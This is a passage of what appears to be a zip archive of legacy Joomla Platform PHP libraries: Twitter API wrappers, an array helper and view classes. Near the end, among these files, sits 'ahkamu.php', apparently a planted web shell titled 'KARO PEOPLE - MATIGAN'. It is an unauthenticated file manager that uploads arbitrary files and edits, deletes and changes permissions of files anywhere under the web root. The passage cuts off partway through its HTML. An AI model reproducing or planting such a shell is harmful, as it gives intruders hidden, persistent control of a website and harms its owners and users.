// Check the rate limit for remaining hits.
$this->checkRateLimit('statuses', 'oembed');
// Set the API request path.
$path = '/statuses/oembed.json';
// Determine which of $id and $url is specified.
if ($id)
{
$data['id'] = $id;
}
elseif ($url)
{
$data['url'] = rawurlencode($url);
}
else
{
// We don't have a valid entry.
throw new RuntimeException('Either the id or url parameters must be
specified in a request.');
}
// Check if maxwidth is specified.
if ($maxWidth)
{
$data['maxwidth'] = $maxWidth;
}
// Check if hide_media is specified.
if (!is_null($hideMedia))
{
$data['hide_media'] = $hideMedia;
}
// Check if hide_thread is specified.
if (!is_null($hideThread))
{
$data['hide_thread'] = $hideThread;
}
// Check if omit_script is specified.
if (!is_null($omitScript))
{
$data['omit_script'] = $omitScript;
}
// Check if align is specified.
if ($align)
{
$data['align'] = $align;
}
// Check if related is specified.
if ($related)
{
$data['related'] = $related;
}
// Check if lang is specified.
if ($lang)
{
$data['lang'] = $lang;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
}
PKRn�[|p�~� � twitter/trends.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Trends class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterTrends extends JTwitterObject
{
/**
* Method to get the top 10 trending topics for a specific WOEID, if
trending information is available for it.
*
* @param integer $id The Yahoo! Where On Earth ID of the
location to return trending information for.
* Global information is available by using 1 as the WOEID.
* @param string $exclude Setting this equal to hashtags will remove
all hashtags from the trends list.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getTrends($id, $exclude = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('trends', 'place');
// Set the API path
$path = '/trends/place.json';
$data['id'] = $id;
// Check if exclude is specified
if ($exclude)
{
$data['exclude'] = $exclude;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get the locations that Twitter has trending topic information
for.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getLocations()
{
// Check the rate limit for remaining hits
$this->checkRateLimit('trends', 'available');
// Set the API path
$path = '/trends/available.json';
// Send the request.
return $this->sendRequest($path);
}
/**
* Method to get the locations that Twitter has trending topic information
for, closest to a specified location.
*
* @param float $lat The latitude to search around.
* @param float $long The longitude to search around.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getClosest($lat = null, $long = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('trends', 'closest');
// Set the API path
$path = '/trends/closest.json';
$data = array();
// Check if lat is specified
if ($lat)
{
$data['lat'] = $lat;
}
// Check if long is specified
if ($long)
{
$data['long'] = $long;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
}
PKRn�[�֮��twitter/twitter.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with a Twitter API instance.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitter
{
/**
* @var Registry Options for the JTwitter object.
* @since 3.1.4
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.1.4
*/
protected $client;
/**
* @var JTwitterOAuth The OAuth client.
* @since 3.1.4
*/
protected $oauth;
/**
* @var JTwitterFriends Twitter API object for friends.
* @since 3.1.4
*/
protected $friends;
/**
* @var JTwitterUsers Twitter API object for users.
* @since 3.1.4
*/
protected $users;
/**
* @var JTwitterHelp Twitter API object for help.
* @since 3.1.4
*/
protected $help;
/**
* @var JTwitterStatuses Twitter API object for statuses.
* @since 3.1.4
*/
protected $statuses;
/**
* @var JTwitterSearch Twitter API object for search.
* @since 3.1.4
*/
protected $search;
/**
* @var JTwitterFavorites Twitter API object for favorites.
* @since 3.1.4
*/
protected $favorites;
/**
* @var JTwitterDirectMessages Twitter API object for direct messages.
* @since 3.1.4
*/
protected $directMessages;
/**
* @var JTwitterLists Twitter API object for lists.
* @since 3.1.4
*/
protected $lists;
/**
* @var JTwitterPlaces Twitter API object for places & geo.
* @since 3.1.4
*/
protected $places;
/**
* @var JTwitterTrends Twitter API object for trends.
* @since 3.1.4
*/
protected $trends;
/**
* @var JTwitterBlock Twitter API object for block.
* @since 3.1.4
*/
protected $block;
/**
* @var JTwitterProfile Twitter API object for profile.
* @since 3.1.4
*/
protected $profile;
/**
* Constructor.
*
* @param JTwitterOauth $oauth The oauth client.
* @param Registry $options Twitter options object.
* @param JHttp $client The HTTP client object.
*
* @since 3.1.4
*/
public function __construct(JTwitterOAuth $oauth = null, Registry $options
= null, JHttp $client = null)
{
$this->oauth = $oauth;
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JHttp($this->options);
// Setup the default API url if not already set.
$this->options->def('api.url',
'https://api.twitter.com/1.1');
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JTwitterObject Twitter API object (statuses, users,
favorites, etc.).
*
* @since 3.1.4
* @throws InvalidArgumentException
*/
public function __get($name)
{
$class = 'JTwitter' . ucfirst($name);
if (class_exists($class))
{
if (false == isset($this->$name))
{
$this->$name = new $class($this->options, $this->client,
$this->oauth);
}
return $this->$name;
}
throw new InvalidArgumentException(sprintf('Argument %s produced an
invalid class name: %s', $name, $class));
}
/**
* Get an option from the JTwitter instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JTwitter instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JTwitter This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PKRn�[�:��'('(twitter/users.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Users class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterUsers extends JTwitterObject
{
/**
* Method to get up to 100 users worth of extended information, specified
by either ID, screen name, or combination of the two.
*
* @param string $screenName A comma separated list of screen names,
up to 100 are allowed in a single request.
* @param string $id A comma separated list of user IDs, up
to 100 are allowed in a single request.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
variety of
* metadata about the tweet in a discreet structure, including:
user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getUsersLookup($screenName = null, $id = null, $entities =
null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'lookup');
// Set user IDs and screen names.
if ($id)
{
$data['user_id'] = $id;
}
if ($screenName)
{
$data['screen_name'] = $screenName;
}
if ($id == null && $screenName == null)
{
// We don't have a valid entry
throw new RuntimeException('You must specify either a comma
separated list of screen names, user IDs, or a combination of the
two');
}
// Set the API path
$path = '/users/lookup.json';
// Check if string_ids is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to access the profile banner in various sizes for the user with
the indicated screen_name.
*
* @param mixed $user Either an integer containing the user ID or a
string containing the screen name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getUserProfileBanner($user)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'profile_banner');
// Set the API path
$path = '/users/profile_banner.json';
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method used to search for users
*
* @param string $query The search query to run against people
search.
* @param integer $page Specifies the page of results to retrieve.
* @param integer $count The number of people to retrieve. Maximum
of 20 allowed per page.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function searchUsers($query, $page = 0, $count = 0, $entities =
null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'search');
$data['q'] = rawurlencode($query);
// Check if page is specified.
if ($page > 0)
{
$data['page'] = $page;
}
// Check if per_page is specified
if ($count > 0)
{
$data['count'] = $count;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Set the API path
$path = '/users/search.json';
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get extended information of a given user, specified by ID or
screen name as per the required id parameter.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $entities Set to true to return IDs as strings,
false to return as integers.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getUser($user, $entities = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'show/:id');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/users/show.json';
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get an array of users that the specified user can contribute
to.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $entities Set to true to return IDs as strings,
false to return as integers.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getContributees($user, $entities = null, $skipStatus =
null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'contributees');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/users/contributees.json';
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get an array of users who can contribute to the specified
account.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the screen name.
* @param boolean $entities Set to true to return IDs as strings,
false to return as integers.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getContributors($user, $entities = null, $skipStatus =
null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'contributors');
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API path
$path = '/users/contributors.json';
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method access to Twitter's suggested user list.
*
* @param boolean $lang Restricts the suggested categories to the
requested language.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSuggestions($lang = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users', 'suggestions');
// Set the API path
$path = '/users/suggestions.json';
$data = array();
// Check if entities is true
if ($lang)
{
$data['lang'] = $lang;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* method to access the users in a given category of the Twitter suggested
user list.
*
* @param string $slug The short name of list or a category.
* @param boolean $lang Restricts the suggested categories to the
requested language.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSuggestionsSlug($slug, $lang = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users',
'suggestions/:slug');
// Set the API path
$path = '/users/suggestions/' . $slug . '.json';
$data = array();
// Check if entities is true
if ($lang)
{
$data['lang'] = $lang;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to access the users in a given category of the Twitter suggested
user list and return
* their most recent status if they are not a protected user.
*
* @param string $slug The short name of list or a category.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSuggestionsSlugMembers($slug)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('users',
'suggestions/:slug/members');
// Set the API path
$path = '/users/suggestions/' . $slug .
'/members.json';
// Send the request.
return $this->sendRequest($path);
}
}
PKRn�[��Q� , ,utilities/arrayhelper.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Utilities
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* JArrayHelper is an array utility class for doing all sorts of odds and
ends with arrays.
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper instead
*/
abstract class JArrayHelper
{
/**
* Option to perform case-sensitive sorts.
*
* @var mixed Boolean or array of booleans.
* @since 1.7.3
*/
protected static $sortCase;
/**
* Option to set the sort direction.
*
* @var mixed Integer or array of integers.
* @since 1.7.3
*/
protected static $sortDirection;
/**
* Option to set the object key to sort on.
*
* @var string
* @since 1.7.3
*/
protected static $sortKey;
/**
* Option to perform a language aware sort.
*
* @var mixed Boolean or array of booleans.
* @since 1.7.3
*/
protected static $sortLocale;
/**
* Function to convert array to integer values
*
* @param array &$array The source array to convert
* @param mixed $default A default value (int|array) to assign if
$array is not an array
*
* @return void
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::toInteger instead
*/
public static function toInteger(&$array, $default = null)
{
$array = ArrayHelper::toInteger($array, $default);
}
/**
* Utility function to map an array to a stdClass object.
*
* @param array &$array The array to map.
* @param string $class Name of the class to create
* @param boolean $recursive Convert also any array inside the main
array
*
* @return object The object mapped from the given array
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::toObject instead
*/
public static function toObject(&$array, $class =
'stdClass', $recursive = true)
{
$obj = null;
if (is_array($array))
{
$obj = ArrayHelper::toObject($array, $class, $recursive);
}
else
{
JLog::add('This method is typehinted to be an array in
\Joomla\Utilities\ArrayHelper::toObject.', JLog::WARNING,
'deprecated');
}
return $obj;
}
/**
* Utility function to map an array to a string.
*
* @param array $array The array to map.
* @param string $innerGlue The glue (optional, defaults to
'=') between the key and the value.
* @param string $outerGlue The glue (optional, defaults to '
') between array elements.
* @param boolean $keepOuterKey True if final key should be kept.
*
* @return string The string mapped from the given array
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::toString instead
*/
public static function toString($array = null, $innerGlue = '=',
$outerGlue = ' ', $keepOuterKey = false)
{
$output = array();
if (is_array($array))
{
$output[] = ArrayHelper::toString($array, $innerGlue, $outerGlue,
$keepOuterKey);
}
else
{
JLog::add('This method is typehinted to be an array in
\Joomla\Utilities\ArrayHelper::toString.', JLog::WARNING,
'deprecated');
}
return implode($outerGlue, $output);
}
/**
* Utility function to map an object to an array
*
* @param object $object The source object
* @param boolean $recurse True to recurse through multi-level objects
* @param string $regex An optional regular expression to match on
field names
*
* @return array The array mapped from the given object
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::fromObject instead
*/
public static function fromObject($object, $recurse = true, $regex = null)
{
if (is_object($object))
{
return self::_fromObject($object, $recurse, $regex);
}
else
{
return null;
}
}
/**
* Utility function to map an object or array to an array
*
* @param mixed $item The source object or array
* @param boolean $recurse True to recurse through multi-level objects
* @param string $regex An optional regular expression to match on
field names
*
* @return array The array mapped from the given object
*
* @since 1.7.0
*/
protected static function _fromObject($item, $recurse, $regex)
{
if (is_object($item))
{
$result = array();
foreach (get_object_vars($item) as $k => $v)
{
if (!$regex || preg_match($regex, $k))
{
if ($recurse)
{
$result[$k] = self::_fromObject($v, $recurse, $regex);
}
else
{
$result[$k] = $v;
}
}
}
}
elseif (is_array($item))
{
$result = array();
foreach ($item as $k => $v)
{
$result[$k] = self::_fromObject($v, $recurse, $regex);
}
}
else
{
$result = $item;
}
return $result;
}
/**
* Extracts a column from an array of arrays or objects
*
* @param array &$array The source array
* @param string $index The index of the column or name of object
property
*
* @return array Column of values from the source array
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::getColumn instead
*/
public static function getColumn(&$array, $index)
{
$result = array();
if (is_array($array))
{
$result = ArrayHelper::getColumn($array, $index);
}
else
{
JLog::add('This method is typehinted to be an array in
\Joomla\Utilities\ArrayHelper::getColumn.', JLog::WARNING,
'deprecated');
}
return $result;
}
/**
* Utility function to return a value from a named array or a specified
default
*
* @param array &$array A named array
* @param string $name The key to search for
* @param mixed $default The default value to give if no key found
* @param string $type Return type for the variable (INT, FLOAT,
STRING, WORD, BOOLEAN, ARRAY)
*
* @return mixed The value from the source array
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::getValue instead
*/
public static function getValue(&$array, $name, $default = null, $type
= '')
{
// Previously we didn't typehint an array. So force any object to be
an array
return ArrayHelper::getValue((array) $array, $name, $default, $type);
}
/**
* Takes an associative array of arrays and inverts the array keys to
values using the array values as keys.
*
* Example:
* $input = array(
* 'New' => array('1000', '1500',
'1750'),
* 'Used' => array('3000', '4000',
'5000', '6000')
* );
* $output = JArrayHelper::invert($input);
*
* Output would be equal to:
* $output = array(
* '1000' => 'New',
* '1500' => 'New',
* '1750' => 'New',
* '3000' => 'Used',
* '4000' => 'Used',
* '5000' => 'Used',
* '6000' => 'Used'
* );
*
* @param array $array The source array.
*
* @return array The inverted array.
*
* @since 3.1.4
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::invert instead
*/
public static function invert($array)
{
return ArrayHelper::invert($array);
}
/**
* Method to determine if an array is an associative array.
*
* @param array $array An array to test.
*
* @return boolean True if the array is an associative array.
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::isAssociative
instead
*/
public static function isAssociative($array)
{
return ArrayHelper::isAssociative($array);
}
/**
* Pivots an array to create a reverse lookup of an array of scalars,
arrays or objects.
*
* @param array $source The source array.
* @param string $key Where the elements of the source array are
objects or arrays, the key to pivot on.
*
* @return array An array of arrays pivoted either on the value of the
keys, or an individual key of an object or array.
*
* @since 1.7.3
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::pivot instead
*/
public static function pivot($source, $key = null)
{
$result = array();
if (is_array($source))
{
$result = ArrayHelper::pivot($source, $key);
}
else
{
JLog::add('This method is typehinted to be an array in
\Joomla\Utilities\ArrayHelper::pivot.', JLog::WARNING,
'deprecated');
}
return $result;
}
/**
* Utility function to sort an array of objects on a given field
*
* @param array &$a An array of objects
* @param mixed $k The key (string) or an array of keys to
sort on
* @param mixed $direction Direction (integer) or an array of
direction to sort in [1 = Ascending] [-1 = Descending]
* @param mixed $caseSensitive Boolean or array of booleans to let
sort occur case sensitive or insensitive
* @param mixed $locale Boolean or array of booleans to let
sort occur using the locale language or not
*
* @return array The sorted array of objects
*
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::sortObjects instead
*/
public static function sortObjects(&$a, $k, $direction = 1,
$caseSensitive = true, $locale = false)
{
if (!is_array($locale) || !is_array($locale[0]))
{
$locale = array($locale);
}
self::$sortCase = (array) $caseSensitive;
self::$sortDirection = (array) $direction;
self::$sortKey = (array) $k;
self::$sortLocale = $locale;
usort($a, array(__CLASS__, '_sortObjects'));
self::$sortCase = null;
self::$sortDirection = null;
self::$sortKey = null;
self::$sortLocale = null;
return $a;
}
/**
* Callback function for sorting an array of objects on a key
*
* @param array &$a An array of objects
* @param array &$b An array of objects
*
* @return integer Comparison status
*
* @see JArrayHelper::sortObjects()
* @since 1.7.0
*/
protected static function _sortObjects(&$a, &$b)
{
$key = self::$sortKey;
for ($i = 0, $count = count($key); $i < $count; $i++)
{
if (isset(self::$sortDirection[$i]))
{
$direction = self::$sortDirection[$i];
}
if (isset(self::$sortCase[$i]))
{
$caseSensitive = self::$sortCase[$i];
}
if (isset(self::$sortLocale[$i]))
{
$locale = self::$sortLocale[$i];
}
$va = $a->{$key[$i]};
$vb = $b->{$key[$i]};
if ((is_bool($va) || is_numeric($va)) && (is_bool($vb) ||
is_numeric($vb)))
{
$cmp = $va - $vb;
}
elseif ($caseSensitive)
{
$cmp = StringHelper::strcmp($va, $vb, $locale);
}
else
{
$cmp = StringHelper::strcasecmp($va, $vb, $locale);
}
if ($cmp > 0)
{
return $direction;
}
if ($cmp < 0)
{
return -$direction;
}
}
return 0;
}
/**
* Multidimensional array safe unique test
*
* @param array $myArray The array to make unique.
*
* @return array
*
* @link https://www.php.net/manual/en/function.array-unique.php
* @since 1.7.0
* @deprecated 4.0 Use Joomla\Utilities\ArrayHelper::arrayUnique instead
*/
public static function arrayUnique($myArray)
{
return is_array($myArray) ? ArrayHelper::arrayUnique($myArray) :
$myArray;
}
}
PKRn�[%t���
view/base.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage View
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Base View Class
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
abstract class JViewBase implements JView
{
/**
* The model object.
*
* @var JModel
* @since 3.0.0
*/
protected $model;
/**
* Method to instantiate the view.
*
* @param JModel $model The model object.
*
* @since 3.0.0
*/
public function __construct(JModel $model)
{
// Setup dependencies.
$this->model = $model;
}
/**
* Method to escape output.
*
* @param string $output The output to escape.
*
* @return string The escaped output.
*
* @see JView::escape()
* @since 3.0.0
*/
public function escape($output)
{
return $output;
}
}
PKRn�[�W�^^
view/html.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage View
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.path');
/**
* Joomla Platform HTML View Class
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
abstract class JViewHtml extends JViewBase
{
/**
* The view layout.
*
* @var string
* @since 3.0.0
*/
protected $layout = 'default';
/**
* The paths queue.
*
* @var SplPriorityQueue
* @since 3.0.0
*/
protected $paths;
/**
* Method to instantiate the view.
*
* @param JModel $model The model object.
* @param SplPriorityQueue $paths The paths queue.
*
* @since 3.0.0
*/
public function __construct(JModel $model, SplPriorityQueue $paths = null)
{
parent::__construct($model);
// Setup dependencies.
$this->paths = isset($paths) ? $paths : $this->loadPaths();
}
/**
* Magic toString method that is a proxy for the render method.
*
* @return string
*
* @since 3.0.0
*/
public function __toString()
{
return $this->render();
}
/**
* Method to escape output.
*
* @param string $output The output to escape.
*
* @return string The escaped output.
*
* @note the ENT_COMPAT flag will be replaced by ENT_QUOTES in Joomla 4.0
to also escape single quotes
*
* @see JView::escape()
* @since 3.0.0
*/
public function escape($output)
{
// Escape the output.
return htmlspecialchars($output, ENT_COMPAT, 'UTF-8');
}
/**
* Method to get the view layout.
*
* @return string The layout name.
*
* @since 3.0.0
*/
public function getLayout()
{
return $this->layout;
}
/**
* Method to get the layout path.
*
* @param string $layout The layout name.
*
* @return mixed The layout file name if found, false otherwise.
*
* @since 3.0.0
*/
public function getPath($layout)
{
// Get the layout file name.
$file = JPath::clean($layout . '.php');
// Find the layout file path.
$path = JPath::find(clone $this->paths, $file);
return $path;
}
/**
* Method to get the view paths.
*
* @return SplPriorityQueue The paths queue.
*
* @since 3.0.0
*/
public function getPaths()
{
return $this->paths;
}
/**
* Method to render the view.
*
* @return string The rendered view.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function render()
{
// Get the layout path.
$path = $this->getPath($this->getLayout());
// Check if the layout path was found.
if (!$path)
{
throw new RuntimeException('Layout Path Not Found');
}
// Start an output buffer.
ob_start();
// Load the layout.
include $path;
// Get the layout contents.
$output = ob_get_clean();
return $output;
}
/**
* Method to set the view layout.
*
* @param string $layout The layout name.
*
* @return JViewHtml Method supports chaining.
*
* @since 3.0.0
*/
public function setLayout($layout)
{
$this->layout = $layout;
return $this;
}
/**
* Method to set the view paths.
*
* @param SplPriorityQueue $paths The paths queue.
*
* @return JViewHtml Method supports chaining.
*
* @since 3.0.0
*/
public function setPaths(SplPriorityQueue $paths)
{
$this->paths = $paths;
return $this;
}
/**
* Method to load the paths queue.
*
* @return SplPriorityQueue The paths queue.
*
* @since 3.0.0
*/
protected function loadPaths()
{
return new SplPriorityQueue;
}
}
PKRn�[��
view/view.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage View
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform View Interface
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
interface JView
{
/**
* Method to escape output.
*
* @param string $output The output to escape.
*
* @return string The escaped output.
*
* @since 3.0.0
*/
public function escape($output);
/**
* Method to render the view.
*
* @return string The rendered view.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function render();
}
PKRn�[���%�%
ahkamu.phpnu�[���<?php
// Base directory configuration (change as needed)
$base_dir = $_SERVER['DOCUMENT_ROOT'];
$directory = isset($_GET['dir']) ? $_GET['dir'] :
$base_dir;
$full_path = realpath($directory);
// Security function for path validation
function is_valid_path($path) {
global $base_dir;
return strpos(realpath($path), realpath($base_dir)) === 0;
}
// Function to format file size in human-readable form
function format_size($size) {
$units = ['B', 'KB', 'MB',
'GB', 'TB'];
$unit = 0;
while ($size >= 1024 && $unit < count($units) - 1) {
$size /= 1024;
$unit++;
}
return round($size, 2) . ' ' . $units[$unit];
}
// Function to display folder permissions
function get_permissions($path) {
return substr(sprintf('%o', fileperms($path)), -4);
}
// File Upload Feature
if (isset($_FILES['file_to_upload'])) {
$target_file = $full_path . DIRECTORY_SEPARATOR .
basename($_FILES['file_to_upload']['name']);
if
(move_uploaded_file($_FILES['file_to_upload']['tmp_name'],
$target_file)) {
echo "<div class='alert alert-success'>File
" .
htmlspecialchars(basename($_FILES['file_to_upload']['name']))
. " successfully uploaded.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to upload file.</div>";
}
}
// File Edit Feature
if (isset($_POST['edit_file']) &&
isset($_POST['file_content'])) {
$edit_file = $_POST['edit_file'];
if (is_valid_path($edit_file)) {
file_put_contents($edit_file, $_POST['file_content']);
echo "<div class='alert alert-success'>File
successfully edited.</div>";
} else {
echo "<div class='alert alert-danger'>Invalid
file path.</div>";
}
}
// File Delete Feature
if (isset($_POST['delete_file'])) {
$delete_file = $_POST['delete_file'];
if (is_valid_path($delete_file) && is_file($delete_file)) {
unlink($delete_file);
echo "<div class='alert alert-success'>File
successfully deleted.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to delete file.</div>";
}
}
// Folder Delete Feature
if (isset($_POST['delete_folder'])) {
$delete_folder = $_POST['delete_folder'];
if (is_valid_path($delete_folder) && is_dir($delete_folder)) {
rmdir_recursive($delete_folder);
echo "<div class='alert alert-success'>Folder
successfully deleted.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to delete folder.</div>";
}
}
// Recursive function to delete a folder and its contents
function rmdir_recursive($dir) {
foreach (scandir($dir) as $file) {
if ($file !== '.' && $file !== '..') {
$full_path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($full_path)) {
rmdir_recursive($full_path);
} else {
unlink($full_path);
}
}
}
rmdir($dir);
}
// Load file content for editing via AJAX
if (isset($_GET['load_file'])) {
$file_to_load = $_GET['load_file'];
if (is_valid_path($file_to_load) && is_file($file_to_load)) {
echo file_get_contents($file_to_load);
}
exit;
}
// Handle permissions update
if (isset($_POST['set_permissions'])) {
$target_path = $_POST['target_path'];
$permissions = $_POST['permissions'];
if (is_valid_path($target_path)) {
chmod($target_path, octdec($permissions));
echo "<div class='alert
alert-success'>Permissions updated to
$permissions.</div>";
} else {
echo "<div class='alert alert-danger'>Failed
to update permissions.</div>";
}
}
// List Directory Content
$files = scandir($full_path);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,
initial-scale=1.0">
<title>KARO PEOPLE - MATIGAN</title>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h1 class="text-center mb-4">KARO PEOPLE -
MATIGAN</h1>
<!-- File Upload Form -->
<div class="card mb-4">
<div class="card-header">
<h2>Upload File</h2>
</div>
<div class="card-body">
<form action="" method="POST"
enctype="multipart/form-data" class="form-inline">
